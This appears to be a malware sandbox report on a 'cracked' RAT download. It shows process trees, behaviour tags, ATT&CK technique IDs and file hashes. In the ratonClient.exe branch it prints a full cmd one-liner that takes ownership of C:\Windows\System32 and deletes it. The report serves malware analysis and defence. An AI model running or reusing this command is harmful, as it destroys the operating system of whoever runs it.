- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3580,i,14499321061628174406,12354685745760514564,2097152 --field-trial-handle=2676,i,17519962367215255765,11406632881663233655,262144 --variations-seed-version --mojo-platform-channel-handle=3652 /prefetch:1
  2⤵
  PID:3132
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3584,i,16432353435414946084,274048249954920247,2097152 --field-trial-handle=2676,i,17519962367215255765,11406632881663233655,262144 --variations-seed-version --mojo-platform-channel-handle=3660 /prefetch:1
  2⤵
  PID:4952
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4236,i,11185487676843045593,12189444888950829520,2097152 --field-trial-handle=2676,i,17519962367215255765,11406632881663233655,262144 --variations-seed-version --mojo-platform-channel-handle=2252 /prefetch:9
  2⤵
  PID:1516
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4224,i,12498176554413843327,6868086049237408344,2097152 --field-trial-handle=2676,i,17519962367215255765,11406632881663233655,262144 --variations-seed-version --mojo-platform-channel-handle=4708 /prefetch:1
  2⤵
  PID:5428
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5312,i,6378311617696867707,2761258104595648740,524288 --field-trial-handle=2676,i,17519962367215255765,11406632881663233655,262144 --variations-seed-version --mojo-platform-channel-handle=5408 /prefetch:14
  2⤵
  PID:1264
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5360,i,4718349157136632828,12901717990139574762,524288 --field-trial-handle=2676,i,17519962367215255765,11406632881663233655,262144 --variations-seed-version --mojo-platform-channel-handle=5376 /prefetch:14
  2⤵
  PID:3844
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6028,i,8868540585312751898,2480141107846820817,524288 --field-trial-handle=2676,i,17519962367215255765,11406632881663233655,262144 --variations-seed-version --mojo-platform-channel-handle=6056 /prefetch:14
  2⤵
  PID:2136
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6028,i,8868540585312751898,2480141107846820817,524288 --field-trial-handle=2676,i,17519962367215255765,11406632881663233655,262144 --variations-seed-version --mojo-platform-channel-handle=6056 /prefetch:14
  2⤵
  PID:588
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --metrics-shmem-handle=6464,i,11598235296826275891,2546749659150201849,2097152 --field-trial-handle=2676,i,17519962367215255765,11406632881663233655,262144 --variations-seed-version --mojo-platform-channel-handle=6200 /prefetch:1
  2⤵
  PID:4276
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --always-read-main-dll --metrics-shmem-handle=4940,i,10791851772055556072,620784451249479560,2097152 --field-trial-handle=2676,i,17519962367215255765,11406632881663233655,262144 --variations-seed-version --mojo-platform-channel-handle=4804 /prefetch:1
  2⤵
  PID:2892
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --always-read-main-dll --metrics-shmem-handle=6732,i,4863208436845631557,14942229141907806835,2097152 --field-trial-handle=2676,i,17519962367215255765,11406632881663233655,262144 --variations-seed-version --mojo-platform-channel-handle=4944 /prefetch:1
  2⤵
  PID:264
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --always-read-main-dll --metrics-shmem-handle=6852,i,13942655572193909261,11417699360390019045,2097152 --field-trial-handle=2676,i,17519962367215255765,11406632881663233655,262144 --variations-seed-version --mojo-platform-channel-handle=6876 /prefetch:1
  2⤵
  PID:764
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --always-read-main-dll --metrics-shmem-handle=6068,i,3359768926247580730,759598244551699757,2097152 --field-trial-handle=2676,i,17519962367215255765,11406632881663233655,262144 --variations-seed-version --mojo-platform-channel-handle=6112 /prefetch:1
  2⤵
  PID:3784
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --lang=en-US --service-sandbox-type=collections --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7076,i,3423794972207816490,3318216560073910470,524288 --field-trial-handle=2676,i,17519962367215255765,11406632881663233655,262144 --variations-seed-version --mojo-platform-channel-handle=4972 /prefetch:14
  2⤵
  PID:1944
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --always-read-main-dll --metrics-shmem-handle=7292,i,12926936189094796684,2384114379473094485,2097152 --field-trial-handle=2676,i,17519962367215255765,11406632881663233655,262144 --variations-seed-version --mojo-platform-channel-handle=7336 /prefetch:1
  2⤵
  PID:3636
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --always-read-main-dll --metrics-shmem-handle=7524,i,15783871863882353806,5103778869426923907,2097152 --field-trial-handle=2676,i,17519962367215255765,11406632881663233655,262144 --variations-seed-version --mojo-platform-channel-handle=7656 /prefetch:1
  2⤵
  PID:4560
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5008,i,2535647488820964217,2133787386409182693,524288 --field-trial-handle=2676,i,17519962367215255765,11406632881663233655,262144 --variations-seed-version --mojo-platform-channel-handle=5028 /prefetch:14
  2⤵
  PID:5064
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6916,i,4294372406744339662,13266816913358265403,524288 --field-trial-handle=2676,i,17519962367215255765,11406632881663233655,262144 --variations-seed-version --mojo-platform-channel-handle=7784 /prefetch:14
  2⤵
  PID:3288
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6900,i,7650700676516225149,13410936871838628210,524288 --field-trial-handle=2676,i,17519962367215255765,11406632881663233655,262144 --variations-seed-version --mojo-platform-channel-handle=7824 /prefetch:14
  2⤵
  PID:2308
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6912,i,6543037828197803459,17970459322645847704,524288 --field-trial-handle=2676,i,17519962367215255765,11406632881663233655,262144 --variations-seed-version --mojo-platform-channel-handle=7704 /prefetch:14
  2⤵
  PID:4548
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6864,i,17617996467318593222,5987064304618406335,524288 --field-trial-handle=2676,i,17519962367215255765,11406632881663233655,262144 --variations-seed-version --mojo-platform-channel-handle=7440 /prefetch:14
  2⤵
  PID:6700
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=6172,i,1651554363906210101,3086782675199678270,262144 --field-trial-handle=2676,i,17519962367215255765,11406632881663233655,262144 --variations-seed-version --mojo-platform-channel-handle=6192 /prefetch:10
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:6456
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6476,i,6226520375471926295,9173810077478108678,524288 --field-trial-handle=2676,i,17519962367215255765,11406632881663233655,262144 --variations-seed-version --mojo-platform-channel-handle=6416 /prefetch:14
  2⤵
  PID:3844
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7476,i,10877624399985695448,16112515385471520301,524288 --field-trial-handle=2676,i,17519962367215255765,11406632881663233655,262144 --variations-seed-version --mojo-platform-channel-handle=2348 /prefetch:14
  2⤵
  PID:6908
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5452,i,15845872310291915160,17815359481653177201,524288 --field-trial-handle=2676,i,17519962367215255765,11406632881663233655,262144 --variations-seed-version --mojo-platform-channel-handle=8032 /prefetch:14
  2⤵
  PID:3580
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7920,i,2892349227663426127,8629949972583657128,524288 --field-trial-handle=2676,i,17519962367215255765,11406632881663233655,262144 --variations-seed-version --mojo-platform-channel-handle=3664 /prefetch:14
  2⤵
  PID:4796
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_xpay_wallet.mojom.EdgeXPayWalletService --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3180,i,8278241619182160465,10410424789081000384,524288 --field-trial-handle=2676,i,17519962367215255765,11406632881663233655,262144 --variations-seed-version --mojo-platform-channel-handle=7304 /prefetch:14
  2⤵
  PID:4132

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:2688

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:4736

C:\Program Files\7-Zip\7zG.exe
"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Downloads\Raton_RAT_2026_Cracked\" -spe -an -ai#7zMap795:106:7zEvent6946
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:4044

C:\Users\Admin\Downloads\Raton_RAT_2026_Cracked\Raton RAT 2026 Cracked\Raton.exe
"C:\Users\Admin\Downloads\Raton_RAT_2026_Cracked\Raton RAT 2026 Cracked\Raton.exe"
1⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:6896
- C:\Users\Admin\Downloads\Raton_RAT_2026_Cracked\Raton RAT 2026 Cracked\Raton.exe
  "C:\Users\Admin\Downloads\Raton_RAT_2026_Cracked\Raton RAT 2026 Cracked\Raton.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Reads the TCP/IP host and domain name from the registry
  - Modifies Control Panel
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of SetWindowsHookEx
  PID:2904

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x00000000000004DC 0x00000000000004E4
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:6404

C:\Users\Admin\Downloads\ratonClient.exe
"C:\Users\Admin\Downloads\ratonClient.exe"
1⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of AdjustPrivilegeToken
PID:2928
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c cmd /c "takeown /f C:\Windows\System32 /r /d Y >nul 2>&1 & icacls C:\Windows\System32 /grant *S-1-5-32-544:F /t /c /q >nul 2>&1 & rd /s /q C:\Windows\System32 >nul 2>&1"
  2⤵
  - Executes a command shell one-liner
  PID:6248
- - C:\Windows\system32\cmd.exe
    cmd /c "takeown /f C:\Windows\System32 /r /d Y >nul 2>&1 & icacls C:\Windows\System32 /grant *S-1-5-32-544:F /t /c /q >nul 2>&1 & rd /s /q C:\Windows\System32 >nul 2>&1"
    3⤵
    - Executes a command shell one-liner
    PID:6420
  - - C:\Windows\system32\takeown.exe
      takeown /f C:\Windows\System32 /r /d Y
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      Suspicious use of AdjustPrivilegeToken
      PID:2140
  - - C:\Windows\system32\icacls.exe
      icacls C:\Windows\System32 /grant *S-1-5-32-544:F /t /c /q
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:6472

C:\Users\Admin\Downloads\Raton_RAT_2026_Cracked\Raton RAT 2026 Cracked\Raton.exe
"C:\Users\Admin\Downloads\Raton_RAT_2026_Cracked\Raton RAT 2026 Cracked\Raton.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Reads the TCP/IP host and domain name from the registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
PID:4656

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:5724

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

374817e3-39d6-4745-957c-e4550a3e62e5.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\374817e3-39d6-4745-957c-e4550a3e62e5.tmp
Size 41KB
SHA256 c3381439d38d38cfd9babdfed3da1196d882f68e11cbeea44ee8a7ed1b2497c3
MD5 d586a586ff383045ee5f3c38f14f0b57
SHA1 1ba67dc858910582735ac725446491cd91583741
SHA512 b73a1cecbb2ef8afa49223eb17e4199b15ba0537eece11e819de27cc789765f3f8792e87612e557858864adcd0d5919b74a7ed38a4f653b0bada8d6c40a3ed7e
SSDEEP 768:cFQX73Xwg3owOTVb5fgGM1TnXMqOadS5cl0:3X730fgt1TnxOaMM0
TLSH
T1391349F298C79973D8AE8783A33D6D51AEBCC163F5841954B7C9690CCD861BFC34A812
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

4445058b-5404-43b9-af7f-29bfc95e02ae.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\4445058b-5404-43b9-af7f-29bfc95e02ae.tmp
Size 34KB
SHA256 9bb38ab16be2ea39ed30a4ed79e10fa02e0b9d3f0690e3449f2fe1173b54a426
MD5 e7dd72f3c2ded72f5ed2388cb3e0a1d4
SHA1 347b902cb4e560277c0c817bc43db6f8dce2d3af
SHA512 b65c200534228f20109c548abeba9533637a76af3fcd612a95ee45d9c9b8d6f29ec6ecc49771df5fb6a36a89a858530c9b78c0cee241f2a9883c43a5ff2274d3
SSDEEP 384:cQkUSvh38NAfeiJOTSzVDfKAXOV1X1XCO5h19hgGRSp14gB+EgH18nbpOfErluZL:ch3JowOTVCO5fgGM1TnXMqOadS5cl0
TLSH
T1D8F2AF32AC599D735CE2D281F10AB691BEF08167D6C81E68E5DDAE0D01C728F534F827
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

4ab0734b-f7d4-4e06-9527-e922efa9c63f.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\4ab0734b-f7d4-4e06-9527-e922efa9c63f.tmp
Size 41KB
SHA256 5852526f46b55514741b8ca281c4fb1ed7267a0ae250a7df4c5a422efa4f9df7
MD5 7cabf695706136f1cc58e325bb4dcd16
SHA1 fe0be561143faf2080a4a07bb4fca60e5ae57915
SHA512 f20a50fb9f947b60174aa3e047487b25840890f55dba0b60bd4abde52bfba78469df5d79d8f41edb807e3ad1cfbe0acbda0325035762e7613e9f96b147374fd0
SSDEEP 768:cFI73XwgnowOTVb5fgGM1TnXMqOadS5cl0:h73Yfgt1TnxOaMM0
TLSH
T1AE1349F298C79972D8AE8743A33D6D51AEBCC163F5841A54B7CD690CCD861BFC34A812
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

579cbb3d-9efa-454a-82a1-150cc101612a.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\579cbb3d-9efa-454a-82a1-150cc101612a.tmp
Size 38KB
SHA256 47e884ccf5fe606050d35de243dc464a2eb0fcf04bf911e4f60aa7e6ac6a54fa
MD5 6c034e8fac9979633cfe745c1ac1fec3
SHA1 43ecf9715bfb230e688086afeccd40b29f80142b
SHA512 216b770914bcbeae02f8c18fc369ad63495e224a2448b8b1fafb65682d5731089500533dc5f34a7125fa8ec3a99287538e902721cf14d25e465bf69b37c2e5de
SSDEEP 768:y/UxvxjgC+93sgwOTVCu5fgGM1TnXMqO/dAaP8:3Zj3+93ocfgt1TnxOVAG8
TLSH
T1EC03C036BC556C639CF2D385B21EA296AEF540B3C5C51EA499ED7E0D06CB34E430B827
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

77b001c1-edf3-457e-97d6-6d7c593f033f.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\77b001c1-edf3-457e-97d6-6d7c593f033f.tmp
Size 392B
SHA256 0106b2374af5badfd7791933dd640f525dd85415c0083120d2e993e6902add15
MD5 d5fbe0062a0114f43fd04ff773182d3e
SHA1 e6684dfcefedb9a6505032cedce7fb17e6775abf
SHA512 34bbccd4b9cf6c27159a99206d3e32ddbd3cfb182e68102fd6370be65b851e4d1e937095c89ec6c88deae6ae635db5b17647d1fc2c2dfcadfac8cfaaccde0e93
TLSH
T199E00201D3108632C00D133001C35F002FE1C01412A34307073106BDBC713163D32F00
MD5 SHA1 SHA512 TLSH

Submit Download

7e77037c-dfce-42d0-9af2-a5fc9b84d436.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\7e77037c-dfce-42d0-9af2-a5fc9b84d436.tmp
Size 37KB
SHA256 65043e2a5e0c18f4173fb7a1dabf862480cfd07d670b5bdf64da631de31a5498
MD5 5dbec1739b1ecb301feb84eac0975b4c
SHA1 fc6934eabb71d8888eead9bd7ac166921c0f2a6d
SHA512 6acfda2c69c81b79fbacea1bacc9e1f649fc853ea08b06dc76caa8d4254bc046766e59c94a10cab69148d3218d758a99de8b8f4db48ccae3c224c2ad1fa674aa
SSDEEP 768:5/UxvxjgC+93GBwOTLu5fgGM1TnXMqOeeAaP8:sZj3+93Kcfgt1TnxOlAG8
TLSH
T17403CF36AC556C739CF2D384B30AA296AEF144A3D5C51EA889EC6E0E01DB35D530BC63
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 08b551008bdcc4de6c80e8d8ffe37c1b7477ababb9604ca97c52b81aed70fdae
MD5 4cd8e5e902146ba19eacbbf4f2e5586c
SHA1 94f807b68c16fd008173350beb37c8686810bcbd
SHA512 6381a86b9ddf9099cf403e36e8c774a996a2a9e547c95e0b2070ef6e2e5e94028cf8284c9fb284f5f80b523066ed68d34895e768192628c20598a4e881c034ca
TLSH
T1D5D02BF4B7DCD543C084507400F11574113571306918C2F02311E18805042810512329
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 cb87327336630d7a53dd601df55da3ddae0f95c084d7b5971775d5280391de64
MD5 9013b8d8dcfc1dbd91b672264d916e37
SHA1 072ffbb08f15ce6497c8aeb0ce78a7510c87d4ea
SHA512 2e68751e13b8581eee5d53032edf918f8523daaab8e936fdd579f7efac28bd619b241fec38c3a505a0fd6513e5a9fa29b11687d6ebb95ddf693bd41d1827f091
TLSH
T192D0C0E433C7350EE25DA17020A466941304CF33642486B041136F08030C25108522FC
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 ec6a4f25194d7df920f023b94035789770d82b866f099f5b5c173cc54b917115
MD5 3f1c1794ec8ced524804973bbce2d4ac
SHA1 6590c89953e8a722e5a484b9a6cf54a706728368
SHA512 4d64e702748a9bdaaf0d9e615e1a53c00d60b36678bc7c8cbf081669c63c3b8c23886cf0b3633e50e54853f273a2e585b73bb1a35f53ef1493bf40ac357ee359
TLSH
T1F1D02BF0B7ECD443C084507800F21574112571301518C2F02311E18805042810511315
MD5 SHA1 SHA512 TLSH

Submit Download

1a0d8e45-8b6b-4bf7-828d-e83d4b503ac2.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\1a0d8e45-8b6b-4bf7-828d-e83d4b503ac2.tmp
Size 13KB
SHA256 7748942c879429de8a8a833c803a1e5a3455cc6aa4544725bb32e85038fd5960
MD5 bfc2897aaf644f9fb8302747e575bc04
SHA1 6e9cd0d39ad041d27c9b2cf678d6ea28d21f46eb
SHA512 1db6cf0a57bc77fb4e08e22ec6d22daf7d10bd4771b62ad79a18bfff5ee5dec382366e90efa55a602bbd020f9a2fe189fd6d5cf0439206faf24c67a560dac91f
SSDEEP 192:sxRMRCKG/fgs4qlzoA8pG27cZtlFAyY/g6+WNs5TYfcU/YR9cH3jYG0IgDNJ:sxRMNG/fgs4Nr/5//dUj
TLSH
T16152C845AD346A7B8CDBD229BA55BB53D2F91032A1D15E04BBFCCA1C10E67DD220790B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

4c7fcefe-1846-446e-ae18-82781d4d2899.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\4c7fcefe-1846-446e-ae18-82781d4d2899.tmp
Size 27KB
SHA256 03413ebe9508327f0580083f548282fbad2996d3e13869add5d27b4e500f0c12
MD5 d670cc962f8fd2cfe68683442f05bf2d
SHA1 de6113dcbef44aec81470682e0d7cb7f9510fcd8
SHA512 4dcb7d6e106eae7f2fb5161bfebb7e3d28b5b7c3d67dfaa9dd48c33abce9317ee4eaad9505c18f9f45d051fad67092ef1d07f3dfebb63d943040fa76eaf7e70a
SSDEEP 384:sxRMNG/fgs266s8qMpRiYnazAW8pZS15posJWeT+QBXN/5//oUh:sQNG/fC4Mnc7WeT+QB9/5HJ
TLSH
T1BFD219059824D87B8BC39D29653D7E33D6EC106261C5DEDA5AECCA1C01DD2FDAB07853
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

5126cca6-6d2d-42f6-8c45-cb873ad57d52.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\5126cca6-6d2d-42f6-8c45-cb873ad57d52.tmp
Size 28KB
SHA256 d6cd58764950d56fbf379584fcf82e2c70c671341426f77ab0b52b39a4910313
MD5 9659a8979b0317fa300847cc69551149
SHA1 6418d606fc2168de2f40c84dcd5c15d7154f0d53
